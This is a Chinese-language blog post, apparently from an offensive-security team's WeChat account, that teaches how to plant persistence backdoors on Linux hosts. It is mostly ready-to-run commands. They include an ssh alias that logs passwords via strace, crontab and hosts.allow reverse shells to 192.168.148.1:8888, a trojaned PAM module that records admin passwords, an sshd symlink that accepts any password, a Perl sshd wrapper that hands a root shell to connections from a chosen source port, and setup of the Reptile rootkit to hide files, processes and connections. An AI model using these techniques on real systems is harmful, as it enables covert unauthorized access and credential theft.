前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >权限维持_Linux操作系统后门

权限维持_Linux操作系统后门

作者头像
黑伞安全
发布2020-07-22 16:43:16
1.8K0
发布2020-07-22 16:43:16
举报
文章被收录于专栏:黑伞安全黑伞安全

Linux操作系统后门

alias

alias 命令可以设置别名

代码语言:javascript
复制
执行 ll 相当于执行 ls -l
代码语言:javascript
复制
alias ll=ls -l

ssh 后门设计

代码语言:javascript
复制
在管理员使用 ssh 时生效,后门将输入的 ssh 地址账号密码保存到 /tmp/sshpwd-date.log 中
strace 命令可以跟踪进程运行时,系统调用和接受的信号

代码语言:javascript
复制
alias ssh='strace -o /tmp/sshpwd-`date '+%Y-%m-%d-%H-%M-%S-%s'`.log -e read,write,connect -s2048 ssh'
代码语言:javascript
复制
计划任务
代码语言:javascript
复制
每隔 60 分钟执行一次,将 shell 反弹到 192.168.148.1:8888(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.148.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

TCP_Wrappers

  • TCP_Wrappers 是一个工作在应用层的安全工具

以 ssh 为例,每当有 ssh 的连接请求时,tcpd(Tcp Wrapper的守护进程)即会截获请求, 当请求满足配置文件中的规则,则放行,否则中断连接,配置文件中可设置匹配规则后执行命令

使用 ssh 连接目标服务器触发反弹 shell

代码语言:javascript
复制
代码语言:javascript
复制
echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/192.168.148.1/8888 0>&1") & :allow' > /etc/hosts.allow
代码语言:javascript
复制
PAM后门

PAM 是一种认证机制,提供一套统一的 API,可根据需要给不同的服务配置不同的认证方式

添加后门:

  1. 查看本地 PAM 版本
代码语言:javascript
复制
apt list --installed|grep pam
代码语言:javascript
复制
  1. 下载解压对应版本的 PAM 源码 http://www.linux-pam.org/library/
代码语言:javascript
复制
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -xzvf Linux-PAM-1.1.8.tar.gz
  1. 修改源码,添加后门代码
代码语言:javascript
复制
vim ./Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
  1. 替换原有 PAM 模块,添加后门
代码语言:javascript
复制
代码语言:javascript
复制
cd Linux-PAM-1.1.8

编译 PAM 源码
./configure && make

备份原有 PAM 模块
mv /lib/x86_64-linux-gnu/security/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so.bak

使用新编译的 PAM 模块替换原有模块
cp ./modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
代码语言:javascript
复制
后门测试

使用添加的密码 test 登陆

当管理员登陆成功时,密码会被记录在 /etc/pam.txt 中

SSH后门

执行下面的命令后可使用任意密码 ssh 连接目标机器 8888 端口

代码语言:javascript
复制
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

SSH Trapper后门

后门比较隐蔽,没有开放额外的端口,只要对方开了 ssh 服务,就能远程连接

如果源端口是 8888 就直接反弹 shell,否则就把请求转发给真正的 ssh 服务

后门伪装成一个 perl 脚本,名为 sshd,位于 /usr/sbin/sshd,将系统原来的 sshd 移到 /usr/bin 下

创建后门

代码语言:javascript
复制
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^.."\xb8/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
代码语言:javascript
复制


连接后门

代码语言:javascript
复制
代码语言:javascript
复制
socat STDIO TCP4:192.168.148.128:22,sourceport=8888;
代码语言:javascript
复制
修改后门的端口
代码语言:javascript
复制
# python2
import struct
buffer = struct.pack('>I6',8888)
print(repr(buffer))
代码语言:javascript
复制

Rookit

Rootkit 是一种特殊的后门,可以在目标机器上隐藏自身以及指定的文件,进程,网络连接信息

下面以一款开源 rootkit 为例,简单介绍一下它的用法以及功能特点 https://github.com/f0rb1dd3n/Reptile

目标机安装 Reptile

代码语言:javascript
复制
apt install libncurses-dev
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make menuconfig
make
make installapt-cache search linux
代码语言:javascript
复制

目标机后门配置

  • 目标机本地使用
代码语言:javascript
复制
赋予非特权用户以 root 权限
代码语言:javascript
复制
/reptile/reptile_cmd root
代码语言:javascript
复制

隐藏显示文件,目录和内核模块
名称中具有关键字 reptile 的所有文件和文件夹将被隐藏,关键字可以在安装之前进行配置
代码语言:javascript
复制
/reptile/reptile_cmd hide
/reptile/reptile_cmd show
代码语言:javascript
复制
隐藏显示进程
代码语言:javascript
复制
/reptile/reptile_cmd conn <IP> hide
/reptile/reptile_cmd conn <IP> show
代码语言:javascript
复制
隐藏显示 TCP 和 UDP 连接
代码语言:javascript
复制
/reptile/reptile_cmd conn <IP> hide
/reptile/reptile_cmd conn <IP> show
代码语言:javascript
复制
文件内容篡改
标签之间的所有内容将被隐藏
代码语言:javascript
复制
#<reptile>
content to hide
#</reptile>

攻击机连接后门

代码语言:javascript
复制
攻击机安装运行控制端
代码语言:javascript
复制
apt install libreadline-dev
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make client
cd output
./client

使用攻击机的特定端口(666)给目标机任意端口发送特定数据(hax0r) 当目标机接收到这个数据后,按照配置反弹 shell(2333)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Linux操作系统后门
  • alias
  • SSH后门
  • SSH Trapper后门
  • Rookit
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档